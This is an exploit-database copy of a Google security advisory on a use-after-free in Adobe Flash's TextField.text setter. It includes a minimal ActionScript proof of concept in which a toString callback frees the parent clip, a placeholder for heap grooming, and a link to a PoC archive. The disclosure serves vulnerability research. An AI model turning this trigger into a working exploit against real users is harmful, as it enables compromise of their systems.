Adobe Flash TextField.text Setter – Use-After-Free

  • 作者: Google Security Research
    日期: 2015-12-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39053/
  • Source:https://code.google.com/p/google-security-research/issues/detail?id=576
    
    There is a use-after-free in the TextField.text setter. If the text the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
    
    var mc = this.createEmptyMovieClip("mc", 101);
    var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
    tf.text = {toString : func};
    
    function func(){
    
    	mc.removeMovieClip();
    
    // Fix heap here
    
    	return "natalie";
    	
    	}
    
    A sample swf and fla are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39053.zip